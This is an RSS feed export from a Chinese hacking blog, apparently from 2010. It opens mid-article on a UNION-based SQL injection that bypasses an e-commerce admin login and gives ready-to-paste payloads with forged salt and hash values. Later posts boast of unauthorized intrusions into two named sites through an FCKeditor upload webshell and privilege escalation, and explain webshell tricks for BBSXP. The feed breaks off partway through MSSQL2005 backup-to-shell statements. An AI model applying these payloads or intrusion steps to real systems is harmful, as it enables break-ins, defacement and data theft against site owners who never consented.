=&nbsp;&nbsp;rs(&#34;PassWord&#34;)&nbsp;&nbsp;将PassWord的属性赋给pwd的Session自定义变量<br/>Response.Redirect(&#34;Manage.asp&#34;)了&nbsp;&nbsp;利用Response对象的Redirect方法重定向Manage.asp<br/>else<br/>response.write &#34;密码错误！！！！&#34;<br/>end if<br/><span style="color:Red">Else 否则执行以下代码</span><br/>Response.Redirect &#34;Loginsb.asp?msg=您输入了错误的帐号或口令，请再次输入！&#34;<br/>End If<br/>%&gt;<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;通过以上例子可知道，密码的验证不再是直接在SQL语句中做验证了，而是根据用户名，取出对应的密码，然后再与用户输入的做对比。这样一来就造成了我们不能使用&#39;or&#39;=&#39;or&#39;绕过了。有的朋友在这里可能有疑问了，若我们提交&#39;or&#39;=&#39;or&#39;那么SQL语句就变成：sel&#101;ct * from Manage_User wh&#101;re UserName=&#39;&#39;or&#39;=&#39;or&#39;&#39;，这样一来得到的结果也应该是真啊，为什么就不能绕过呢？<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;其实就算SQL查询的地方得到的值是真，可别忘了后面还有密码的验证，若我们提交以上SQL，得到账号是真的，那么后面根据账号去数据库中取出来的密码与用户提交的密码是绝对通不过的。<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;好了，对于&#39;or&#39;=&#39;or&#39;漏洞的分析先就暂且说到这里，以上的均为我个人对该漏洞的理解，并不代表就是完全正确的，若有不当的地方还望大家多多指教，接下来就是我们的重头戏了。<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;昨天在帮流年看站的时候就遇到了一个旁站，当时是想注入，后来流年拿下服务器后顺便就将程序打包下来我研究了下，经过两个多小时的分析和测试，终于可以成功绕过了那套系统的后台登陆验证，接下来就结合程序代码，将我的整个分析过程给大家详细讲解下。<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;程序类型是国外的一个小型商城系统，在检测的时候我就顺便构造了个关键词用google搜索下发现还有不少的网站。加之又是国外的，所决定要深入研究下，不过国外程序员在写程序的时候习惯和国内还是有不少的差异，往往国外的目录文件和程序结构分枝都很深，这点还让我在分析源代码的时候被代码牵着鼻子到处转……<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;在拿到程序原本是首先看前台的注入的，但在打开数据库找到管理密码后我就放弃了从前台寻找注入的打算，因为管理的密码根本没法破解，就算找到注入用处也不大。因此要寻找程序的致命弱点只有往网后台或者无需验证的上传页面方向去了，然后查看了下所有的上传都需要后台验证才能上传。到此，唯一的路就是想法突破后台了。<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;首先我们来看看后台登陆口（login.asp）的代码：<br/><br/>&lt;%<br/>if request.form(&#34;Submit&#34;) = &#34;&nbsp;&nbsp; Login&nbsp;&nbsp; &#34; then<br/>if trim(request(&#34;yanzheng&#34;))=session(&#34;ValidCode&#34;) then<br/>&#160;&#160;&#160;&#160;if DoLogin(request.form(&#34;LoginId&#34;),request.form(&#34;Password&#34;)) = 1 then<br/>&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;response.redirect(&#34;index.asp&#34;)<br/>&#160;&#160;&#160;&#160;end if<br/>&#160;&#160;&#160;&#160;else<br/><br/>&#160;&#160;&#160;&#160;response.Redirect(&#34;login.asp?p=login&#34;)<br/>&#160;&#160;&#160;&#160;end if<br/>end if<br/>%&gt;<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;通过以上代码可以看出，login.asp页面验证登陆是将用户输入的账号和密码交给DoLogin函数验证，在DoLogin函数中，验证通过将返回一个值为1（通过验证进入后台），反之不等于则重定向到登陆页面。我们现在来看看DoLogin函数的内容。<br/><br/>private function DoLogin(login, pass)<br/>&#160;&#160;&#160;&#160;set rsLogin = server.cr&#101;ateobject(&#34;ADODB.recordset&#34;)<br/>&#160;&#160;&#160;&#160;rsLogin.cursortype = 3<br/>&#160;&#160;&#160;&#160;<br/>&#160;&#160;&#160;&#160;strSQL = &#34;Sel&#101;ct admin_id, admin_salt, admin_password FROM admin_users Wh&#101;re admin_login = &#39;&#34; &amp; login &amp; &#34;&#39;&#34;<br/>&#160;&#160;&#160;&#160;rsLogin.open strSQL, adoCon<br/>&#160;&#160;&#160;&#160;response.Write strSQL<br/>&#160;&#160;&#160;&#160;if not rsLogin.eof then<br/>&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;correctPass = rsLogin(&#34;admin_password&#34;)<br/>&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;controlPass = hashEncode(pass &amp; rsLogin(&#34;admin_salt&#34;))<br/>&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;if correctPass = controlPass then<br/>&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;DoLogin = 1<br/>&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;session(&#34;admin_user_id&#34;) = rsLogin(&#34;admin_id&#34;)<br/>&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;session(&#34;session_id&#34;) = session.SessionID<br/>&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;session(&#34;order_flag&#34;) = 1<br/>&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;else<br/>&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;DoLogin = 0<br/>&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;end if<br/>&#160;&#160;&#160;&#160;else<br/>&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;DoLogin = 0<br/>&#160;&#160;&#160;&#160;end if<br/>&#160;&#160;&#160;&#160;<br/>&#160;&#160;&#160;&#160;rsLogin.close<br/>&#160;&#160;&#160;&#160;set rsLogin = nothing<br/>end function<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;“private function DoLogin(login, pass)”中的login何pass分别就是在上面的login.asp中的request.form(&#34;LoginId&#34;)和request.form(&#34;Password&#34;)，从以上代码中可以看到用户输入的账号和密码没有经过任何的过滤就带入到SQL语句中查询了。查询后的验证方式就和上文中提及的验证方式大同小异了。<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;现在知道用户输入的账号和密码没有经过过滤（这点很重要），接下来我们还需要清楚管理员表的结构，这里我给大家截图上来，管理员表名是admin_users，结构如下图：<br/><br/><div align="center"><img src="http://www.enjoyhack.com/attachments/month_1010/r20101012183254.jpg" border="0" alt=""/></div><br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;可以看到管理员表中有四个字段，分别是ID号、用户名、以及salt和密码，密码在第四列。有了这些信息后我们就要开始着手构造SQL语句绕过后台登陆了。<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;通过对登陆验证代码的分析，我们可以将整个验证过程简单描述为：<span style="color:Red">验证函数取得用户输入的账号和密码，然后从管理员表中查询某条用户名等于用户输入用户名的记录，如果查询后得知管理表中存在某条记录，则继续取出该条记录的密码，然后再将此密码与用户输入的密码进行对比（用户输入的密码要经过加密），若密码验证成功则通过后台验证。</span><br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;现在我们的突破策略就是：<span style="color:Red">提交某个SQL语句，让程序从管理员表中查询某条用户名等于用户输入用户名的记录结果为真，这样程序就会继续验证密码，然后我们再让程序从上步查询中得到一个密码的密文，这样一来就会顺利的通过验证了。</span><br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;突破程序查询用户名得到一个真值比较容易能做到，但后面的让程序同时得到一个密码的密文我想还真不容易办到，而且还要在一步中完成。但是办法确实是有的，这里我就直接给大家贴出来，这个办法也是我从自然兄那里学来的，说实在的我真是非常佩服想出这个办法的牛人。<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;在这里我们需要使用union联合查询语句来绕过用户名的验证，并让查询同时得到一个密码密文，假设现在的这个网站系统密码是使用md5加密，在用户名的地方填写： <span style="color:Red">&#39;union sel&#101;ct 1,2,3,&#39;225cdc811adfe8d4&#39; from admin_user wh&#101;re &#39;a&#39;=&#39;a</span>，然后密码我们输入：hack，这样就能顺利绕过了后台验证了。<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;union联合查询大家都不陌生，这里我就不详细说union联合查询的原理的，其实我也理解不是很深，没法用简洁的语言来真确表达，只是大概知道其意义。至于为什么要使用这样一个语句，大家可以参考上面我用红色字体表示的描述，再结合下面的说明自己体会。会网页编程的朋友应该不难理解，新手朋友就需要多下点功夫了。<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;在以上语句中要说的就两点，一是密文：225cdc811adfe8d4，这个正是密码hack的16为小写md5值，另外union sel&#101;ct 后面跟的数据位数是4位，这个要取决于admin_users表的结构，见上文中admin_users表的截图，而密文225cdc811adfe8d4一定要放在第四位上，这个也取决于admin_users表的结构。并且还要加上单引号，因为225cdc811adfe8d4是字符，这个懂SQL语句的朋友应该清楚。<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;当我们提交&#39;union sel&#101;ct 1,2,3,&#39;225cdc811adfe8d4&#39; from admin_user wh&#101;re &#39;a&#39;=&#39;a后我们再来分析下验证程序，首先SQL语句会变成：<span style="color:Red">Sel&#101;ct admin_id, admin_salt, admin_password FROM admin_users Wh&#101;re admin_login = &#39;&#39;union sel&#101;ct 1,2,3,&#39;225cdc811adfe8d4&#39; from admin_user wh&#101;re &#39;a&#39;=&#39;a&#39;</span> 仔细分析这个SQL语句可以得知，最终的执行结果是真，这样就解决了绕过用户名验证阶段，进入密码验证阶段。并且以上的语句执行后同时在返回的记录集中还能得到一个密码密文为&#39;225cdc811adfe8d4&#39;的值，这样在密码验证阶段中，就会将这个值与使用md5加密hack字符的结果对比，结果是一样的，最终就顺利的通过全部的验证了。可能这个对大多数朋友来说还是比较难理解，其实我也并未完完全全的理解，也只是理解了个大概，要想完完全全理解的话重点就在union联合查询的原理上了，能完完全全搞清楚union联合查询的原理话，这个应该就能很容易理解了。<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;到了这里，本篇文章的高潮就过了，看到这里有眉目的朋友就可以自己动手实践下了，要是还没有眉目那就继续返回去再看一遍文章。不过对于我测试的程序那套国外商城系统还没有完，接下来我们还要继续对那套系统进行分析，因为这套程序的管理密码是不可解的，不像是使用md5加密的那样，我们自己拿个密码加密下就可以的。<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;因为在绕过的时候我们提交的密码必须是密文，又因他系统不是MD5加密，所以我们要需要找到他系统使用的加密函数，把我们的密码加密才行。我们再返回去继续看DoLogin函数中密码验证的地方：<br/><br/>&lt;%&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#39;已通过账号验证，开始密码阶段的验证<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;correctPass = rsLogin(&#34;admin_password&#34;) &#39;取得数据库中的密文<br/>&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;<span style="color:Red">controlPass = hashEncode(pass &amp; rsLogin(&#34;admin_salt&#34;)) </span>&#39;将用户输入的密码加密并赋给变量controlPass<br/>&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;if correctPass = controlPass then &#39;对比两个密文是否相同<br/>&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;DoLogin = 1<br/>&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;session(&#34;admin_user_id&#34;) = rsLogin(&#34;admin_id&#34;)<br/>&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;session(&#34;session_id&#34;) = session.SessionID<br/>&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;session(&#34;order_flag&#34;) = 1<br/>&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;else<br/>&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;DoLogin = 0<br/>&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;end if<br/>%&gt;<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;这里需要注意下controlPass = hashEncode(pass &amp; rsLogin(&#34;admin_salt&#34;)) ，函数hashEncode就是密码的加密函数，pass是用户输入的明文密码，细心的朋友会发现，这里产生的最终密码密文不是直接加密用户输入的密文密码得到的，而是通过加密用户输入的明文密码与rsLogin(&#34;admin_salt&#34;)的值得到的，这个值可以在上文中admin_users表截图中可以看到也是加密的。这个就和国内的的程序有区别了，国内大多数都是直接加密用户输入的明文密码，然后再与数据库中密文对比的。<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;这样一来，就意味着我在用户名地方构造的语句不仅要提交最终的密文还需要提交产生这个密文的一部分（及时salt），所以我们不仅要找到他最终密文的加密函数，还要找到admin_salt值的加密函数。不过这些都比较容易了，salt的加密函数可以在后台添加用户代码中找到，因为这个salt是写入到管理员表中的，肯定在添加用户的时候进行的。<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;通过分析代码找到了添加用户名的函数：AddLogin，代码如下：<br/><br/>&lt;%<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;private function AddLogin()<br/>&#160;&#160;&#160;&#160;admin_login&nbsp;&nbsp;&nbsp;&nbsp; = request.form(&#34;admin_login&#34;) &#39;取得输入的账号<br/>&#160;&#160;&#160;&#160;password1&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; = request.form(&#34;password1&#34;) &#39;取得输入的密码<br/>&#160;&#160;&#160;&#160;password2&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; = request.form(&#34;password2&#34;) &#39;取得确认密码<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; …………………………………………&#39;省略若干<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <span style="color:Red">strSalt = getSalt(len(admin_login))</span><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; strSecret = hashEncode(password1 &amp; strSalt)<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; …………………………………………&#39;省略若干<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; rsAdmin.addnew()<br/>&#160;&#160;&#160;&#160;rsAdmin(&#34;admin_login&#34;)&nbsp;&nbsp;&nbsp;&nbsp;= admin_login<br/>&#160;&#160;&#160;&#160;<span style="color:Red">rsAdmin(&#34;admin_salt&#34;)&nbsp;&nbsp;&nbsp;&nbsp; = strSalt</span><br/>&#160;&#160;&#160;&#160;rsAdmin(&#34;admin_password&#34;) = strSecret<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;rsAdmin.up&#100;ate()<br/>%&gt;<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;通过以上代码可得知，管理员表中admin_salt的值等于以上代码中变量strSalt的值，而则等于getSalt(len(admin_login))，这就是重点，这个是使用getSalt函数对admin_login值长度的一个加密，而admin_login的值是用户输入的用户名。可以得知，最终的密码密文=(用户名长度加密的密文与明文密码)的加密。现在清楚了加密函数的方式，我们就要调用它的加密函数加密一个我们自己的账号密码了。<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;找到加密函数文件，随便一个程序（程序页面中需要包含加密函数文件），然后通过加密函数输出我们自定义的账号密码的密文，例如以下代码：<br/><br/>&lt;%<br/>&#160;&#160;&#160;&#160;username=&#34;enjoyhack&#34;<br/>&#160;&#160;&#160;&#160;password=&#34;hack&#34;<br/>&#160;&#160;&#160;&#160;salt= getSalt(len(username))<br/>&#160;&#160;&#160;&#160;hash= hashEncode(password &amp; salt)<br/>&#160;&#160;&#160;&#160;response.Write &#34;Salt:&#34;+slat+&#34;&lt;br&gt;Hash:&#34;+hash<br/>%&gt;<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;这样就能输出salt和密码密文了，如下图：<br/><br/><div align="center"><img src="http://www.enjoyhack.com/attachments/month_1010/l2010101220140.jpg" border="0" alt=""/></div><br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;得到Salt和最终密码密文后，我们就可以在登陆口使用以下语句绕过后台验证登陆到后台管理系统中了，用户名输入一下语句，密码输入hack：<br/>&#39; union sel&#101;ct 1,&#39;EDD6CF135&#39;,&#39;E37AD49EEA9C64CDE0E427C2DA7EA8BC15778F05&#39; from admin_users wh&#101;re &#39;a&#39;=&#39;a<br/><br/><div align="center"><img src="http://www.enjoyhack.com/attachments/month_1010/s2010101220636.jpg" border="0" alt=""/></div><br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;具体的过程就是这样了，文章到此也结束了，方法我也是从别人的地方学来的，并非原创。只不过是对当时需到的内容深入的分析了下，有不当的地方还望多多指教，欢迎跟帖讨论！<br/>]]></description>
		</item>
		
			<item>
			<link>http://www.enjoyhack.com/article/Synthesize/skins.htm</link>
			<title><![CDATA[本站模板免费共享（不再瞎折腾了！）]]></title>
			<author>haifanlovely@163.com(enjoyhack)</author>
			<category><![CDATA[综合利用]]></category>
			<pubDate>Mon,13 Sep 2010 14:12:54 +0800</pubDate>
			<guid>http://www.enjoyhack.com/default.asp?id=66</guid>
		<description><![CDATA[&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;最近发现使用我网站模板的人比较多了，但我看到过的几个站使用我模板之后根本就没弄好，整站乱七八糟的，总感觉有点对不住这个模板，虽然说模板不是什么经典之作，但这毕竟还是我自己花了点时间和精力做出来的。<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;友情检测了使用我网站模板的几个站，装了下逼呢别人又说我小气了，这下就不再装逼了，我决定把本站模板免费公布吧，需要是人可以下载去用，但想好好处理下，不要弄得乱七八糟的，对不起模板。<br/><br/>使用方法：<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;解压皮肤文件夹，然后把文件夹放到PJBLOG安装目录下的skins目录下，登陆到后台，进入插件和模板就会看到模板了，选择使用即可。<br/><br/><img src="http://www.enjoyhack.com/images/download.gif" alt="下载文件" style="margin:0px 2px -4px 0px"/> <a href="http://www.enjoyhack.com/attachments/month_1009/l2010913141224.rar" target="_blank">点击此处下载皮肤包</a><br/>]]></description>
		</item>
		
			<item>
			<link>http://www.enjoyhack.com/article/Infiltrate/hackgirlagin.htm</link>
			<title><![CDATA[哥又来了！哈哈(www.hackerning.tk)]]></title>
			<author>haifanlovely@163.com(enjoyhack)</author>
			<category><![CDATA[入侵渗透]]></category>
			<pubDate>Mon,13 Sep 2010 13:01:07 +0800</pubDate>
			<guid>http://www.enjoyhack.com/default.asp?id=65</guid>
		<description><![CDATA[&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;事情是这样的，刚在后台添加个友情链接的时候看到一个申请友情链接的地址，看了下地址发现还是和我网站模板一模一样。三分钟拿下之后才发现原来网站还是上篇文章hackgirl的……<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;呵呵！没错确实是三分钟拿下了……刚打开网站的时候就发现网站所在服务器也是主机屋的虚拟机主机。<br/><br/><div align="center"><img src="http://www.enjoyhack.com/attachments/month_1009/r2010913125735.jpg" border="0" alt=""/></div><br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;不过查了下这个站的IP现在是95，而之前拿hackgirl的是88， 不过这个也没什么问题呵呵，旁注都不需要了直接终端连接，输入账号密码，上服务器去了。<br/><br/><div align="center"><img src="http://www.enjoyhack.com/attachments/month_1009/m2010913125919.jpg" border="0" alt=""/></div><br/><br/><br/><div align="center"><img src="http://www.enjoyhack.com/attachments/month_1009/k201091313051.jpg" border="0" alt=""/></div><br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;就这样了。。。蛋疼！！！！<br/>]]></description>
		</item>
		
			<item>
			<link>http://www.enjoyhack.com/article/Infiltrate/hackgirl.htm</link>
			<title><![CDATA[又是一次蛋疼的入侵（www.hackgirl.net）]]></title>
			<author>haifanlovely@163.com(enjoyhack)</author>
			<category><![CDATA[入侵渗透]]></category>
			<pubDate>Thu,09 Sep 2010 17:08:03 +0800</pubDate>
			<guid>http://www.enjoyhack.com/default.asp?id=64</guid>
		<description><![CDATA[&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;昨天晚上闲的蛋疼了，没事就鼓捣自己的blog，在后台看访客记录，在后台访客记录中，从其他网站来访的我基本上都要去看下是什么样的网站，无意中一个来源网站引起了我的注意，打开网站看到也是Pj的blog程序，而且更离奇的是网站的模板和我的一模一样。貌似我网站的皮肤只给过两个朋友。<br/><br/><div align="center"><img src="http://www.enjoyhack.com/attachments/month_1009/7201099171457.jpg" border="0" alt=""/><br/></div><br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;杯具的人儿，皮肤拿去标志也没修改，还是EnjoyHack，而且模板弄得是乱七八糟的，比起我的来还是逊色了不少啊，看到这乱七八糟的页面，我真感觉对不起这个模板啊。不过还好点的到是网站上给我加上了个友情链接。<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;不让我看到已经看到了，到这一步不检测下实在是对不起自己。顺手把地址保存下来，整理下思路就开工了。由于是PJ的程序，直接干是不可能的了，唯一的方法就是旁注了。把网站拿到<a href="http://tool.admin2.com" target="_blank" rel="external">http://tool.admin2.com</a>上去查了下（平时习惯用这个站查旁站，还是比较准确的），查询的结果还真不少。<br/><br/><div align="center"><img src="http://www.enjoyhack.com/attachments/month_1009/k201099163336.jpg" border="0" alt=""/></div><br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;看样子是个虚拟主机，上面的网站大部分还是一些公司企业类的小站，这样的情况拿个旁站的shell应该是没啥问题的了，随便找了个网站进行常规式的检测，扫目录，找注入。<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;人品还是不错，搞到第三个展的时候有了突破了，啊D扫了个我最喜欢的FCKeditor出来。<br/><br/><div align="center"><img src="http://www.enjoyhack.com/attachments/month_1009/g20109916365.jpg" border="0" alt=""/></div><br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;有FCKeditor首先是看test.html页面是否存在了，访问/FckEditor/editor/filemanager/connectors/test.html存在，测试了下发现是使用asp的，aspx被删除了，不过asp的能正常使用，这里列下目录就能知道。<br/><br/><div align="center"><img src="http://www.enjoyhack.com/attachments/month_1009/1201099163844.jpg" border="0" alt=""/></div><br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;看到列出了图片上传的目录的话基本上就没问题了，可以使用asp创建一个xx.asp的文件夹，然后再到test.html页面中上传。这些步骤就不写出来浪费篇幅了。<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;到这里shell就很容易的拿下来了，发现还真是个虚拟主机，而且看样子还是个比较BT的虚拟主机，居然在上面网站的每个页面底部加了版权，看到这个就感觉还是比较富有挑战性的了。<br/><br/><div align="center"><img src="http://www.enjoyhack.com/attachments/month_1009/7201099164710.jpg" border="0" alt=""/></div><br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;不过还好的是能支持aspx，而且自己上传一个cmd后能执行基本的查询命令。不过想通过执行pr等程序就不行，包括VBS脚本一样。<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;现在只好使用aspx搜集一些服务器的信息了，在搜集信息的过程中才发现服务器是星外的虚拟主机，看到这个顿时就感觉提权希望还真比较渺茫啊， 在昨晚弄了大约一个小时后提权无果只好去睡觉了。<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;今天中午忙完只有又继续昨晚未完成的任务，从利用aspx获取的服务器信息中可以看出管理员那是相当的懒啊，服务器只装了两个补丁。本想用个windows2003的溢出工具直接秒杀的，结果还是失败了。<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;此处省略大约100字的提权过程……<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;到此，服务器权限也沦陷了！提权过程就省略掉了，技术含量不高，主要是耐心问题，也比较容易。最后来点战果的截图吧。<br/><br/><div align="center"><img src="http://www.enjoyhack.com/attachments/month_1009/l2010991711.jpg" border="0" alt=""/></div><br/><br/><br/><div align="center"><img src="http://www.enjoyhack.com/attachments/month_1009/a20109917915.jpg" border="0" alt=""/></div>]]></description>
		</item>
		
			<item>
			<link>http://www.enjoyhack.com/article/Synthesize/bbsxpshell.htm</link>
			<title><![CDATA[BBSXP ACCESS和MSSQL版后台拿shell]]></title>
			<author>haifanlovely@163.com(enjoyhack)</author>
			<category><![CDATA[综合利用]]></category>
			<pubDate>Tue,07 Sep 2010 19:15:43 +0800</pubDate>
			<guid>http://www.enjoyhack.com/default.asp?id=63</guid>
		<description><![CDATA[&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;昨天在拿一站的时候搞到了一个BBSXP MSSQL版的后台，但是拿shell刚开始还真把我给难住了，没有数据库备份，后台添加了PHP上传类型，前台发帖上传了个php的shell，但是服务器不支持php的解析。搜索网上公布的方法都是基于ACCESS后台的，利用数据库备份功能拿shell，而且目标站基本上的注入都不存在了。<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;本来想放弃的，后来在群经过别人的点醒，终于搞定了，而且方法非常的简单，首先我们需要在BBSXP的后台利用服务器环境功能查看下服务器的信息，这里要特别注意IIS，昨天的那个就是IIS6.0的，我们可以充分利用IIS的解析漏洞，在后台基本设置——上传设置中添加一个“asp;xx”的上传类型，然后我们再将我们的小马或者webshell的扩展名修改成该类型即可。<br/><br/><div align="center"><img src="http://www.enjoyhack.com/attachments/month_1009/9201097191137.jpg" border="0" alt=""/></div><br/><br/><div align="center"><img src="http://www.enjoyhack.com/attachments/month_1009/t201097191237.jpg" border="0" alt=""/></div><br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;方法很简单，但需要attachments目录有执行脚本的权限，拿下目标站后我才发现我有时候思路还是比较死，特别是比较兴奋的状态下，往往在快要拿下目标的时候总会兴奋，一旦兴奋脑袋总觉得有点不好使！思路仅作参考，大家可以自由发挥！<br/>]]></description>
		</item>
		
			<item>
			<link>http://www.enjoyhack.com/article/Synthesize/sql2005shell.htm</link>
			<title><![CDATA[MSSQL2005差异备份拿shell (MSSQL2005 Backup Get Shell)]]></title>
			<author>haifanlovely@163.com(enjoyhack)</author>
			<category><![CDATA[综合利用]]></category>
			<pubDate>Sat,04 Sep 2010 13:05:47 +0800</pubDate>
			<guid>http://www.enjoyhack.com/default.asp?id=62</guid>
		<description><![CDATA[&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;昨晚在拿站过程中遇到了个ASP+MSSQL2005的注入点，权限是DB_Owner的权限，网站路径也搞到了，本想使用差异备份，在数据库日志中插入一句话，然后备份到网站目录下拿shell的，估计是用户没有备份数据库的权限，但使用MSSQL2000的备份方法根本行不通，后来才想到MSSQL2005的备份和MSSQL2000有点不同。<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;后来在网上搜半天没有找到具体的备份语句，后来在群求助，小冰才发我了具体的利用语句，但贴出来的文章貌似没啥水准，大家都知道手工差异备份是自己需要修改数据库名和网站路径的，但那个文章中对语句没有做任何解释，无奈之下我只好自己尝试了，虽然测试的网站没有成功拿下shell，单语句是没有错误的，我在本地的MSSQL2005的查询分析器中测试通过了，再次特将语句整理出来分享个大家，并做好详细的解释说明，首先来贴出语句。<br/><br/>第一步<br/>;alt&#101;r/**/database/**/[<span style="color:Red">Hospital</span>]/**/set/**/recovery/**/full--<br/><br/>第二步：<br/>;declare/**/@d/**/nvarchar(4000)/**/sel&#101;ct/**/@d=0x640062006200610063006B00/**/backup/**/database/**/[<span 